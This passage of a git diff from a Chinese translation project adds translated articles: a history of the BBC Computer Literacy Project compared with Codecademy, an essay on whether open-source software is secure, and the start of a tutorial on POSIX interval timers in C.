https://opensource.com/article/22/12/python-package-index-repository-artipie + +作者:[Alena Gerasimova][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/olena +[b]: https://github.com/lkxed +[1]: https://github.com/artipie +[2]: https://opensource.com/tags/git +[3]: https://pypi.org/ +[4]: https://github.com/pypa/twine +[5]: https://pip.pypa.io/en/stable/ +[6]: https://test.pypi.org/ +[7]: https://central.artipie.com/signin +[8]: https://www.redhat.com/sysadmin/yaml-beginners +[9]: https://central.artipie.com/olenagerasimova/pypi +[10]: https://central.artipie.com/olenagerasimova/data/y1.dat +[11]: https://central.artipie.com/olenagerasimova/data/y2.dat +[12]: https://central.artipie.com/olenagerasimova/data/y3.dat +[13]: https://github.com/artipie/pypi-example +[14]: https://swagger.io/ +[15]: https://opensource.com/sites/default/files/2022-11/artipie-swagger.png +[0]: https://img.linux.net.cn/data/attachment/album/202303/02/232208fgy56v5egv7ipgg2.jpg \ No newline at end of file diff --git a/published/202301/20190331 Codecademy vs. The BBC Micro.md b/published/202301/20190331 Codecademy vs. The BBC Micro.md new file mode 100644 index 0000000000..6ca577800c --- /dev/null +++ b/published/202301/20190331 Codecademy vs. The BBC Micro.md @@ -0,0 +1,125 @@ +[#]: subject: "Codecademy vs. The BBC Micro" +[#]: via: "https://twobithistory.org/2019/03/31/bbc-micro.html" +[#]: author: "Two-Bit History https://twobithistory.org" +[#]: collector: "lujun9972" +[#]: translator: "CanYellow" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15469-1.html" + +上世纪的 BBC Micro 和如今的 Codecademy +====== + +![][0] + +20 世纪 70 年代末期,计算机突然成为了某种普罗大众能够买回家的商品;而此前的几十年间,它一直只是听命于企业级霸主的神秘而笨重的机器。少数狂热的爱好者注意到了它是多么的吸引人,并争相购买了属于自己的计算机。对更多的人而言,微型计算机的到来引发了对未来的无助焦虑。同时期的杂志上的一则广告承诺,家用计算机将“让您的孩子在学校享有不公平的优势”。广告中展示了一位打着领带,身着时髦的西装外套的男孩子急切地举手回答问题,而在他的身后,他的那些显得不那么聪明的同学们闷闷不乐地望着他。这则广告以及其它类似的广告在暗示:世界正在疾速改变,而如果你不立即学习如何使用这些令人生畏的新设备之一,你和你的家人就会被时代所抛弃。 + +在英国,这些焦虑转化为政府高层对国家竞争力的担忧。从各种意义上,20 世纪 70 年代对英国来说都是平平无奇的十年,通胀与失业率高企。与此同时,一系列的罢工让伦敦陷于一次又一次的停电中。一篇 1979 年的政府报告担心:没有跟上计算机技术浪潮将“为我们糟糕的工业表现平添又一个影响因素”[^1]。英国似乎已经在计算机技术的角逐中落后了 —— 所有的大型的计算机公司都是美国的,而集成电路则在日本和中国台湾制造。 + +由英国政府建立的公共服务广播公司英国广播公司(BBC)作出了一个大胆的举动,决定通过帮助英国人战胜他们对计算机的反感,来解决英国的国家竞争力问题。BBC 发起了 “[计算机认知计划][T3]Computer Literacy Project”,该计划包括多个教育方向的努力:几部电视连续剧、一些相关书籍、一个支持团队网络以及一款名为 [BBC Micro][T2] 的特别定制的微型计算机。该项目是如此成功,以致于 1983 年 《[BYTE][T4]》杂志的一位编辑写道:“与美国相比,英国人对微型计算机感兴趣的比例更高。”[^2] 这位编辑惊讶于在英国举办的 第五届个人计算机世界展Fifth Personal Computer World Show 的人数比参加当年的西海岸计算机展的人数更多。超过六分之一的英国人观看了由该计划制作的第一部电视连续剧,并最终售出了 150 万台 BBC Micro 微型计算机。[^3] + +去年,一份包含了由计算机认知计划制作的每一部电视连续剧和所有出版资料的 [档案][4] 被发布在了互联网上。我抱着极大的兴趣观看了这些电视连续剧,并试图想象在 20 世纪 80 年代早期学习计算机使用是什么样子。但事实证明,更有趣的是计算机是如何被教授的。今天,我们仍然担心技术发展使人们落伍。富有的科技企业家与政府花费大量的资金试图教孩子们“编码”。我们拥有诸如 [Codecademy][T1] 这样的网站,通过新技术的运用进行交互式编程教学。我们可能假定这种方式比 80 年代的呆板的电视连续剧更高效,不过真的是这样吗? + +### 计算机认知计划 + +1975 年发布的 [Altair 8800][5] 拉开了微型计算机革命的大幕。不到两年,Apple II、TRS-80 以及 Commodore PET 也都相继发布。全新的计算机的销量爆发式增长。1978 年,BBC 在一部名为 《[芯片来了][T5]Now the Chips Are Down》(LCTT 译注:对于非英国区域的读者,可以在 [这里][T6] 观看该纪录片)的纪录片中探讨了这些新机器必将会带来的剧烈的社会变革。 + +该纪录片充满担忧。在前 5 分钟内,解说员提到这种微电子器件将“彻底改变我们的生活方式”。随着诡异的合成音乐的播放,屏幕上绿色的电脉冲围绕着放大后的芯片起舞,解说员进一步说,这种芯片“正是日本放弃造船业的原因,也将成为我们的孩子们长大后失业的原因”。该纪录片继续探讨了机器人如何用于汽车自动化组装,以及欧洲的手表业如何在与美国的电子表行业竞争中败下阵来。它指责英国政府在应对未来的大规模失业的准备上做得不够。 + +该纪录片据信可能在英国议会上展示过。[^4] 包括工业署和人力服务委员会在内的一些政府代表,开始对尝试提高英国公众对计算机的认识感兴趣。人力服务委员会为来自 BBC 的教育部门提供了资助,让他们的一个团队到日本、美国以及其他国家进行了实地考察。该研究团队完成了一份报告,历数了微电子技术在工业制造、劳动关系与办公室工作等领域的哪些方面将发生重大改变。70 年代末,BBC 决定制作一部十集电视连续剧,帮助普通英国人“学习如何使用和控制计算机,避免产生被计算机支配的感受”[^5]。这一努力最终成为了一个与 “成人认知计划Adult Literacy Project” 相似的多媒体项目。成人认知计划是 BBC 此前进行的一项工作,包括一部电视连续剧以及补充课程,帮助两百万人提高他们的阅读能力。 + +计算机认知计划背后的制作方热衷于以“实操”示例为特色的电视连续剧。这样如果观众拥有一台微型计算机在家里,他们就可以亲自动手尝试。这些例子必须使用 BASIC 语言,因为这是在几乎所有的微型计算机上都使用的编程语言(实际是整个 交互界面shell)。但是制作者面临一个棘手的问题:微型计算机制造商均拥有他们自己的 BASIC 方言,因此不论他们选择哪一种方言,他们都不可避免地疏远大部分的观众。唯一切实可行的方案是创造一种全新的 BASIC 方言 —— BBC BASIC,以及与之配合使用的微型计算机。英国公众可以购买这种全新的微型计算机,并依照示例操作,而不需要担心软硬件上的差异带来的问题。 + +BBC 的电视制作人与节目主持人并不具备自行制造微型计算机的能力,因此他们汇总了一份他们预期的计算机的规范,并邀请英国的微型计算机公司推出满足该规范要求的新机器。这份规范要求提供一种相对更强劲的计算机,因为 BBC 的制作方认为相应的设备应当能够运行真实有用的应用程序。计算机认知计划的技术顾问还建议:如果必须要教授全体国人一种 BASIC 方言的话,那么最好选择表现良好的方言(他们可能没有确切地这样说,不过我认为这就是他们的真实想法)。BBS BASIC 通过允许递归调用与局部变量弥补了一些 BASIC 语言的常见缺点。[^6] + +BBC 最终决定由一家位于剑桥的名为 Acorn Computers 的公司制造 BBC Micro 计算机。在选择 Acorn 公司的时候,BBC 没有接受来自 [Clive Sinclair][T7] 的申请,他经营着一家 Sinclair Research 公司。1980 年,Sinclair 公司通过 Sinclair ZX80 为英国开拓了微型计算机的大众市场。虽然 Sinclair 公司的新产品 ZX81 更便宜,但是性能不足以满足 BBC 的要求。而 Acorn 的新型计算机(内部被称为 Proton)的原型机更加昂贵,但是性能更好,更具备扩展性。BBC 对此印象深刻。该型号的计算机从未以 “Proton” 的名字上市或销售过,因为它在 1981 年 12 月以 “BBC Micro” 的名字发布了。BBC Micro 又被亲切地称为 “The Beeb”,你可以以 235 英磅的价格购得其 16k 内存的版本,或者以 335 英磅的价格获得其 32k 内存的版本。 + +到了 1980 年,Acorn 在英国计算机行业逐渐衰微,但是 BBC Micro 帮助 Acorn 公司创立了其遗留至今的宝贵遗产。时至今日,世界范围内最流行的微处理器指令集是 ARM 架构,“ARM” 如今代表的是 “先进 RISC 架构设备Advanced RISC Machine”,然而最初它代表的是 “Acorn RISC 架构设备Acorn RISC Machine”。ARM 架构背后的 ARM 控股公司就是 Acorn 公司在 1990 年之后的延续。 + +![Picture of the BBC Micro.][9] + +_BBC Micro 的一幅差劲的图片,我摄于美国加州山景城的计算机历史博物馆Computer History Museum_ + +### 《计算机程序》电视连续剧 + +作为计算机认知计划的一部分,他们最终制作了十几部不同的电视连续剧。第一部作品是一部名为 《计算机程序The Computer Programme》 的十集电视连续剧。该连续剧在 1982 年初播出了十周。每周晚上有一百万人收看该节目,还有 25 万人在每周日与周一的下午收看该节目的重播。 + +该电视节目由两名主持人主持:Chris Serle 和 Ian McNaught-Davis。Serle 扮演初学者,而 McNaught-Davis 扮演专家,他具有专业的大型计算机编程经验。这是一个启发性的方式,有些 [略显笨拙的过渡][10] —— Serle 经常直接从与 McNaught-Davis 的对话中,过渡到面向镜头的边走边说的讲述,此时你不禁会疑惑 McNaught-Davis 是否还站在画面之外。不过这意味着 Serle 可以表达观众肯定会有的关注 —— 他可能会惊恐地看着满屏的 BASIC 语言,并提出类似“这些美元符号是什么意思”的问题。在节目中的某些时刻,Serle 与 McNaught-Davis 会坐在计算机前进行事实上的结对编程。McNaught-Davis 会在各个地方留下一些线索,而 Serle 则试图将它们弄清楚。如果这一节目仅仅由一个无所不知的讲述者主持,那么它的亲和力就会差很多。 + +该节目也在努力展示计算在普通人生活中的实际应用。到 80 年代早期,家用电脑已经开始与年轻男孩和电子游戏联系在一起。计算机认知计划的制作方试图避免采访“令人印象深刻的、有能力的年轻人”,因为这可能会“加剧老年观众的焦虑”,而该节目正打算吸引这一人群对计算感兴趣 [^7]。在该系列的第一集中,该节目的 “现场” 记者 Gill Nevill 采访了一位女性,她购买了一台 Commodore PET 计算机用于辅助管理她的糖果店。这位名叫 Phyllis 的女性受访者看上去大约 60 多岁,但她在使用 PET 完成她的会计工作上没有任何问题,甚至已经开始使用 PET 为其他企业做计算机工作,这听上去像是一个有前途的自由职业的开端。Phyllis 说她并不介意计算机工作逐步取代她的糖果店生意,因为她更喜欢计算机工作。这次采访要是换成对一名青少年的采访,介绍了他是如何修改 《[Breakout][T8]》 电子游戏,以使之运行更快并更具挑战性,不过这就几乎鼓舞不了任何人。另一方面,如果普罗大众中的 Phyllis 都会使用计算机,那么你当然也可以。 + +虽然该节目以大量的 BASIC 编程为特色,不过它实际想要教给观众的是,计算机通常是如何工作的。该节目通过类比的方法解释了其中的一般原则。在第二集中,有一个关于 [Jacquard][T9] 织机(LCTT 译注:中文网络译为雅卡尔提布机)的延伸讨论,主要是两个方面:其一,它揭示了计算机并不仅仅基于昨天发明的神秘技术 —— 计算的一些基本原则可以上溯到两百年前,就跟你可以在卡片上打孔来控制纺织机的想法一样简单;其二,经线与纬线的交织用来证明二元选择(即纬线是从上方还是下方穿过经线)在不断重复时足以产生巨大变化。当然,节目接下来继续讨论信息是如何使用二进制存储的。 + +在该节目中接下来是一个蒸汽管风琴的章节,该管风琴能够演奏编码在一卷长长的、分段的打孔卡片的音乐。这个类比用以解释 BASIC 中的 子程序subroutine。Serle 与 McNaught-Davis 将整卷的打孔卡片摊开在演播室的地板上,然后指出看上去像是重复的副歌的分段。McNaught-Davis 解释说,如果你将这些重复的卡片分段剪下,并以某种方式添加一条指令,回到第一次播放该副歌的最初的分段,这就是子程序。这是一个绝妙的解释,它在人们的脑海中的印象非常深刻。 + +我仅仅摘录了一些例子,不过我认为,总的来看该节目尤为擅长通过解释计算机实现功能所依赖的原理,使计算机不再神秘。这一节目本可以专注于 BASIC 教学,不过它并没有这样做。这被证明是一个相当明智的选择。在 1983 年写就的一篇回忆文章中,计算机认知计划的总制作人 John Radcliffe 如是写道: + +> 如果计算机将如我们所相信的那样重要,对这一新主题的真正理解对每个人都很重要,也许与文字读写能力同等重要。不管是在我们这里还是在美国,在计算机认知的主要路线上的早期思路均集中于编程上。然而随着我们思想的发展,尽管我们意识到“动手”体验在个人计算机上的价值,但我们开始降低对编程的重视,而更多的强调广泛的理解,将微型计算机与大型计算机联系起来,鼓励人们获取一系列应用程序与高级语言的经验,并将这些经验同现实世界中的工业与商业活动中的经验联系起来……。我们相信,一旦人们掌握了这些最简单的原则,它们将可以进一步深入该主题。 + +后来,Radcliffe 又以类似的口吻写道: + +> 围绕着这一系列节目的主要阐释目标有很多争论。一些人认为,在使用微型计算机上的实际细节上给予建议,对本项目而言尤为重要。但我们的结论是,如果该系列节目要拥有可持续性的教育价值,它就必须通过对计算原理的解释,成为进入真实计算世界的一种方式。这需要通过对微型计算机上的室内演示,通过类比方式解释其中的原则,以及通过电影说明实际应用的真实例子来实现。不仅仅是微型计算机,小型机以及大型机也将被展示。 + +我喜爱这一连续剧,尤其是其中关于小型机与大型机的部分。计算机认知计划背后的制作方旨在帮助英国人找准定位:计算身处何处又去向何方?计算机现在能做什么,未来又能做什么?学习一些 BASIC 语言是回答这些问题的一个部分,但是仅仅理解 BASIC 语言似乎不足以使人们认知计算机。 + +### 如今的计算机认知 + +如果你现在搜索“学习编码”,你看到的排在第一的是指向 Codecademy 网站的链接。如果要说存在一个“计算机认知计划”的现代替代品 —— 具有相同的影响与目标,那就是 Codecademy。 + +“学习编码learn to code” 是 Codecademy 的口号。我认为我不是第一个指出这一点的人 —— 事实上我可能在某个地方读过这句话,只是现在拿来用而已。但是这里使用的是 “编码code” 而非 “编程program”,这说明了一些问题。这表明你学习的重要内容是如何读懂代码,如何阅读满屏的 Python 代码的意思,而不是目光呆滞、不知所云。我能够理解为什么对于普通人而言,这似乎是成为专业程序员的主要障碍。专业程序员整日盯着布满编程术语的计算机屏幕,如果我想要成为一个专业程序员,我最好确保我能够理解这些天书一样的字符。但是理解语法并不是成为程序员的最大的挑战。在更大的障碍面前,它很快将变成微不足道。仅仅以掌握一门编程语言的语法为目标,你可能能够 _阅读_ 代码,但是无法做到 _编写_ 代码以解决全新的问题。 + +我最近学习了 Codecademy 的 《编程基础》 课程。如果你对编程感兴趣(而不是对网页开发或者数据科学),并且没有任何编程经验,这是 Codecademy 推荐你学习的课程。里面有几节关于计算机科学史的课时,不过都是流于表面而没有深入研究。(感谢上帝,[一位高尚的互联网秩序义务维护者][12] 指出了其中存在的一个特别恶劣的错误)。该课程的主要目的是教授你编程语言的通用结构要素:变量、函数、控制流、循环等。换句话说,该课程聚焦于为了让你理解天书般的代码中的模式,而所需要知道的内容。 + +公平地看,Codecademy 也提供了其他内容深入的课程。但是即使是如 《计算机科学之路》 这样的课程也几乎只仅仅专注于编程以及程序中表达的概念。有人可能会反驳说这才是重点 —— Codecademy 的主要特点就是提供给你一些交互式的、带有自动反馈的编程课程。在有限的自动化课程中能够灌输给学员的内容只有这么多,因此学员的脑海里也没有更多的空间容纳更多其他的内容。但是负责启动计算机认知计划的 BBC 的制作人也面临同样的问题。他们意识到受限于他们的传播媒介,“通过电视节目所能获得的学习内容的容量也是受限的”[^8]。虽然在他们所能传达的信息总量上存在相似的限制,但是 BBC 的制作人选择强调在学习 BASIC 语言上的一般原则。难道 Codecademy 就不能将其中一两节交互式可视化的课时替换为编织经线与纬线的 Jacquard 织机的案例吗? + +我一直在大声鼓吹 “一般原则”,因此让我再解释下我认为的一般原则是什么,以及为什么它们如此重要。J. Clark Scott 出了一本有关计算机的书,书名为 《但是它怎么知道?But How Do It Know?》。这个书名来自书的序言里的一则笑话:一个店员向人群推销保温瓶,说保温瓶可以让热食始终是热的,冷食始终是冷的。一名听众对这个新发明感到惊讶,问道,但是它怎么知道(根据你给它的食物类型的不同选择做相应的事情呢)?笑点在于保温瓶当然不能感知食物的温度然后据此做出决定 —— 保温瓶仅仅制作成保证冷食必然保持冷的,热食必然保持热的就可以了。人们也以(笑话中的那个听众)一样的方式看待计算机,相信计算机就是数字大脑,能够基于提供给它们的代码 “选择” 做一件事或者另一件事。但是了解一些有关计算机如何工作的知识,哪怕是很初级水平的理解,也能让(人们理解中的)计算机摆脱(做判断的)侏儒。这就是为什么 Jacquard 织机是一个很好的有助理解的例子。一开始它似乎是一种难以置信的设备,它读取打孔卡片,然后以某种方式“知道”编织正确的样式。现实是显而易见的:每一行孔都对应一根线,而一行中有孔的地方对应着提起的线。理解了这些虽然不会有助于你用计算机完成新的事情,但是将使你自信于你不是在跟某些神秘事物打交道。我们应当尽快将这种自信的感受传授给初学者。 + +唉,可能真正的问题是没有人想要了解 Jacquard 织机。根据 Codecademy 如何强调他们教授的专业应用来判断,很多人开始使用 Codecademy 可能是因为他们相信这有助于 “提升” 他们的职业水平。他们没有来由地相信,首要的问题是理解编程的专业术语,因此他们才想要 “学习编码”。他们想要在他们所拥用的。每天晚上晚餐与就寝之间的一两个小时里尽快完成这件事。Codecademy 毕竟只是一门投其所好的生意,而非一些有关 18 世纪就发明了的机器的间接说明。 + +另一方面,计算机认知计划是供职于 BBC 的一群制作人与公务员所认为的,将计算机的使用教给国民的最好的方式。我承认,因为这一群人教会大众他们无法以己之力所能求得的事物,而赞美这一群人的建议多少有点精英主义。但我情不自禁认为他们做对了。许多人使用 BBC Micro 第一次学会了使用计算机,他们中的很多人进而成为了成功的软件开发者或游戏设计师。[正如我曾经所说的][14],我怀疑在计算机已经变得相对简单的时代里,学习使用计算机是一个巨大的优势。不过或许这群人所拥有的另一个优势在于有像 《计算机程序》 这样的尽己所能不仅仅教授编程,而且教授计算机是为什么又是如何运行程序的节目。在看完 《计算机程序》 之后,你可能并不能理解计算机屏幕上的所有天书般的编程术语,但是实际上你也并不需要,因为你知道无论 “代码” 是什么样子,计算机总是在重复做基础的事情。在完成了 Codecademy 上的一到两个课程之后,你可能能够感受一些天书般的编程术语,但是对你来说,一台计算机仍然只是一台能够以某种方式将天书般的字符转化为运行的软件的魔法机器。但这并不是计算机认知。 + +-------------------------------------------------------------------------------- + +via: https://twobithistory.org/2019/03/31/bbc-micro.html + +作者:[Two-Bit History][a] +选题:[lujun9972][b] +译者:[CanYellow](https://github.com/CanYellow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://twobithistory.org +[b]: https://github.com/lujun9972 +[4]: https://computer-literacy-project.pilots.bbcconnectedstudio.co.uk/ +[5]: https://twobithistory.org/2018/07/22/dawn-of-the-microcomputer.html +[9]: https://twobithistory.org/images/beeb.jpg +[10]: https://twitter.com/TwoBitHistory/status/1112372000742404098 +[12]: https://twitter.com/TwoBitHistory/status/1111305774939234304 +[14]: https://twobithistory.org/2018/09/02/learning-basic.html +[15]: https://twitter.com/TwoBitHistory +[16]: https://twobithistory.org/feed.xml +[17]: https://twitter.com/TwoBitHistory/status/1091148050221944832?ref_src=twsrc%5Etfw +[20]: https://computer-literacy-project.pilots.bbcconnectedstudio.co.uk/media/Towards%20Computer%20Literacy.pdf + + +[^1]: Robert Albury and David Allen, Microelectronics, report (1979).  +[^2]: Gregg Williams, “Microcomputing, British Style”, Byte Magazine, 40, January 1983, accessed on March 31, 2019, .  +[^3]: John Radcliffe, “Toward Computer Literacy,” Computer Literacy Project Achive, 42, accessed March 31, 2019, .  +[^4]: David Allen, “About the Computer Literacy Project,” Computer Literacy Project Archive, accessed March 31, 2019, .  +[^5]: ibid.  +[^6]: Williams, 51.  +[^7]: Radcliffe, 11.  +[^8]: Radcliffe, 5.  + +[T1]: https://www.codecademy.com/ +[T2]: https://bbcmicro.computer/ +[T3]: https://clp.bbcrewind.co.uk/history +[T4]: https://archive.org/details/byte-magazine?tab=about +[T5]: https://www.bbc.co.uk/iplayer/episode/p01z4rrj/horizon-19771978-now-the-chips-are-down +[T6]: https://archive.org/details/BBCHorizon19771978NowTheChipsAreDown +[T7]: https://en.wikipedia.org/wiki/Sinclair_Research +[T8]: https://en.wikipedia.org/wiki/Breakout_(video_game) +[T9]: https://www.scienceandindustrymuseum.org.uk/objects-and-stories/jacquard-loom + +[0]: https://img.linux.net.cn/data/attachment/album/202301/23/131931eegzjokllq1j440z.jpg \ No newline at end of file diff --git a/published/202301/20210718 Is Open-Source Software Secure.md b/published/202301/20210718 Is Open-Source Software Secure.md new file mode 100644 index 0000000000..cc02f9b43e --- /dev/null +++ b/published/202301/20210718 Is Open-Source Software Secure.md @@ -0,0 +1,162 @@ +[#]: subject: (Is Open-Source Software Secure?) +[#]: via: (https://news.itsfoss.com/open-source-software-security/) +[#]: author: (Ankush Das https://news.itsfoss.com/author/ankush/) +[#]: collector: (lujun9972) +[#]: translator: (CanYellow) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15423-1.html) + +开源软件安全吗? +====== + +![][0] + +作为一个偏爱 [在桌面电脑上使用 Linux][1],并鼓励使用开源软件的人,你可能期待就标题中提出的问题得到一个响亮的**肯定**回答。 + +然而,我并不打算仅限于讨论开源软件的优点。让我们一起探索更多观点! + +在本文,我计划分享我关于开源软件是否安全的思考,以及哪些事情与开源软件的安全性相关。 + +### 为什么你需要关注开源软件是否安全? + +不论你是使用 [Linux][2] 系统还是使用其他类型的操作系统,你都会在某种程度上(直接地/间接地)被开源软件所包围。 + +举个例子,大多数专有软件工具依赖于某种形式的开源库来保证其正常工作。 + +此外,各种规模的公司(包括谷歌、微软和 Facebook)依赖开源软件或者以某种途径向开源社区贡献资源是有原因的。 + +因此,开源软件的安全性是有必要了解的。 + +### 有关开源软件安全性的迷思 + +![][3] + +虽然有多种理由证明开源软件在安全性方面的缺陷,然而其中一些实际毫无意义。 + +#### 任何人都可以查看并恶意利用开源软件代码 + +是的,开源软件代码对于任何人都是可访问的。但是你可以查看代码并不意味着你可以利用它。 + +**不现实。** + +即使任何人都可以复刻(或者拷贝)该软件,原始软件也不能轻易地被修改使用。 + +通常,项目维护人员(或者维护团队)管理代码仓库,并且接受来自贡献者的提交。开源软件代码在接受之前会被审查。没有人可以就这样劫持代码。 + +**不论是开源软件还是闭源软件,攻击者都需要付出努力来利用软件中的代码漏洞或者添加恶意代码。** + +#### 没有专职团队,安全性无从谈起 + +很多人相信如果开源软件没有专职人员或者专职团队,维护软件安全性是困难的。 + +恰恰相反,由于各种各样类型的贡献者的加入与离开,开源软件获得了来自更大范围的开发者的更多关注。 + +他们可能比由专有软件所聘用的少数开发者更能够发现安全问题。 + +一些来自 Mozilla 等同类公司的项目拥有自己的专职团队来高效处理安全问题。同样的,大部分成功的开源项目拥有大量的资源用于保障安全性。 + +因此,开源软件的生态系统是安全性的组合包。即使没有专职团队,开源项目也可以得到来自各类贡献者的帮助,他们中的一些很大程度上是有利可图的,这有助于他们投入更多的精力。 + +### 开源软件是安全的,以下是原因 + +![][5] + +既然我们已经澄清了这些有关开源软件安全性的迷思,让我重点展示一下开源软件是如何处理安全问题的。 + +换句话说,开源软件在安全性上的优势。 + +请不要忘记,开源软件的优势也是 [Linux 比 Windows 更好][4] 的一些原因。 + +#### 更多的眼晴关注开源软件代码 + +不像专有软件,(对开源软件的)代码访问并不局限于少数几个开发者。 + +一些开源项目甚至可能拥有数以万记的开发者可以查看代码、审查它们并标记和修复其中的安全性问题。 + +相比闭源软件,这给予了开源项目拥有**快速识别问题并尽快修复它们的能力**的优势。 + +不仅仅限于拥有更多的开发者,企业通常也会参与他们所使用的开源项目。当他们这样做的时候,他们也会查阅代码并审查它们。 + +这提供了另一条外部审查的途径,而这可能有助于提升开源软件的安全性。 + +反之,就闭源软件而言,数量有限的开发者可能并不能找出所有种类的安全问题。而且他们可能需要花费更长的时间来一一修复发现的问题。 + +#### 社区决定安全问题的优先级 + +闭源软件的开发者可能在处理什么问题和什么时候解决问题等方面有某些限制或者优先等级。 + +而如果是开源项目,贡献者社区可以自行决定优先级,并自行安排他们想解决的问题以及决定合适修复问题。你不需要依赖于供应商的决定或者按照他们的指示来解决一个安全问题。 + +着手处理和修复安全问题的决策在开源软件项目中更加透明和灵活。因此,它可以被证明是更有效的,并为你带来以下三个益处: + + * 透明度 + * 不依赖供应商 + * 更快的安全更新 + +### 开源软件不是防弹的,以下是原因 + +![][6] + +虽然在某些情况下,开源软件可能在安全性上具有优势,然而仍有一些因素影响它。 + +承认这些问题的存在是很重要的,据此,企业或者个人可以就开源软件的安全情况做出更好的决定。 + +#### 并无足够的眼睛来审查代码和不确定性 + +即使开源软件代码可以被全世界的开发者自由访问,**项目没有足够的贡献者/开发者彻底审查开源代码**的可能性仍然存在。 + +既如此,我们不能对开源软件的同行审查抱有极高的信心,因为它恰好缺失了这一点。 + +开源软件可能“声称”拥有最高的安全性因为它们是开源的。在没有足够的开发者致力于该项目时,这是一种误导。 + +同样,我们也无从得知有多少开发者在查看/检查代码,也不知道代码的检查进行到什么程度了。 + +举例而言,[心脏出血漏洞][T1]Heartbleed 是在一个被广泛使用的项目(OpenSSL)中引入了 2 年以后才被发现的。 + +#### 软件责任与问责 + +对于个人用户这可能并不重要,但是**开源项目通常并无任何保证**。 + +因此,如果一家公司使用它,它们必须自行承担任何由该软件使用造成的数据丢失与损坏。 + +这告诉你,没有什么是 100% 安全和没有漏洞的。无论有多少眼睛聚焦在代码上或者贡献者的技术多么精湛,总会存在某种形式的风险,无论是安全风险还是数据丢失。 + +这告诉我们一个现实:开源软件并非防弹的。 + +### 开源软件有其更高安全性的优势,但是... + +就安全性而言没有什么优胜者。不论是闭源还是开源,当涉及安全问题时都适用同一套原则。 + +有很多外部因素可以影响软件安全性,而**其中很多因素并不依赖于源代码**。 + +必须以某种形式监控代码,以保证安全。 + +是的,**开源道路提供了闭源软件所不具备的优势**,但是这并不意味着开源软件是防弹的。 + +_你对开源软件安全状况有何思考?你又是否认为开源软件比专有软件解决方案更好呢?_ + +提前感谢你在下面的评论中提出的宝贵意见。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/open-source-software-security/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[CanYellow](https://github.com/CanYellow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/linux-foundation-linux-desktop/ +[2]: https://itsfoss.com/what-is-linux-distribution/ +[3]: https://news.itsfoss.com/content/images/wordpress/2021/07/hacker-exploit-illustration.png +[4]: https://itsfoss.com/linux-better-than-windows/ +[5]: https://news.itsfoss.com/content/images/wordpress/2021/07/open-source-security-illustration.png +[6]: https://news.itsfoss.com/content/images/wordpress/2021/07/open-source-security-issue.jpg + +[T1]: https://www.cve.org/CVERecord?id=CVE-2014-0160 +[0]: https://news.itsfoss.com/content/images/size/w2000/wordpress/2021/07/open-source-security.jpg \ No newline at end of file diff --git a/published/202301/20211012 Create a timer on Linux.md b/published/202301/20211012 Create a timer on Linux.md new file mode 100644 index 0000000000..d00d129d20 --- /dev/null +++ b/published/202301/20211012 Create a timer on Linux.md @@ -0,0 +1,275 @@ +[#]: subject: "Create a timer on Linux" +[#]: via: "https://opensource.com/article/21/10/linux-timers" +[#]: author: "Stephan Avenwedde https://opensource.com/users/hansic99" +[#]: collector: "lujun9972" +[#]: translator: "FigaroCao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15427-1.html" + +在 Linux 中创建定时器 +====== + +> 这是一个演示如何创建 POSIX 兼容的间隔定时器的教程。 + +![][0] + +对开发人员来说,定时某些事件是一项常见任务。定时器的常见场景是看门狗、任务的循环执行,或在特定时间安排事件。在这篇文章中,我将演示如何使用 [timer_create(...)][2] 创建一个 POSIX 兼容的间隔定时器。 + +你可以从 [GitHub][3] 下载下面样例的源代码。 + +### 准备 Qt Creator + +我使用 [Qt Creator][4] 作为该样例的 IDE。为了在 Qt Creator 运行和调试样例代码,请克隆 [GitHub][3] 上的仓库,打开 Qt Creator,在 “文件File -> 打开文件或项目……Open File or Project...” 并选择 “CMakeLists.txt”: + +![Qt Creator open project][5] + +*在 Qt Creator 中打开项目* + +选择工具链之后,点击 “配置项目Configure Project”。这个项目包括三个独立的样例(我们在这篇文章中将只会用到其中的两个)。使用绿色标记出来的菜单,可以在每个样例的配置之间切换,并为每个样例激活在终端运行 “在终端中运行Run in terminal”(用黄色标记)。当前用于构建和调试的活动示例可以通过左下角的“调试Debug” 按钮进行选择(参见下面的橙色标记)。 + +![Project configuration][6] + +*项目配置* + +### 线程定时器 + +让我们看看 `simple_threading_timer.c` 样例。这是最简单的一个。它展示了一个调用了超时函数 `expired` 的间隔定时器是如何被创建的。在每次过期时,都会创建一个新的线程,在其中调用函数 `expired`: + +``` +#include +#include +#include +#include +#include +#include +#include + +void expired(union sigval timer_data); + +pid_t gettid(void); + +struct t_eventData{ +    int myData; +}; + +int main() +{ +    int res = 0; +    timer_t timerId = 0; + +    struct t_eventData eventData = { .myData = 0 }; + + /* sigevent 指定了过期时要执行的操作 */ +    struct sigevent sev = { 0 }; + + /* 指定启动延时时间和间隔时间 + * it_value和it_interval 不能为零 */ + +    struct itimerspec its = {   .it_value.tv_sec  = 1, +                                .it_value.tv_nsec = 0, +                                .it_interval.tv_sec  = 1, +                                .it_interval.tv_nsec = 0 +                            }; + +    printf("Simple Threading Timer - thread-id: %d\n", gettid()); + +    sev.sigev_notify = SIGEV_THREAD; +    sev.sigev_notify_function = &expired; +    sev.sigev_value.sival_ptr = &eventData; + + /* 创建定时器 */ +    res = timer_create(CLOCK_REALTIME, &sev, &timerId); + +    if (res != 0){ +        fprintf(stderr, "Error timer_create: %s\n", strerror(errno)); +        exit(-1); +    } + + /* 启动定时器 */ +    res = timer_settime(timerId, 0, &its, NULL); + +    if (res != 0){ +        fprintf(stderr, "Error timer_settime: %s\n", strerror(errno)); +        exit(-1); +    } + +    printf("Press ETNER Key to Exit\n"); +    while(getchar()!='\n'){} +    return 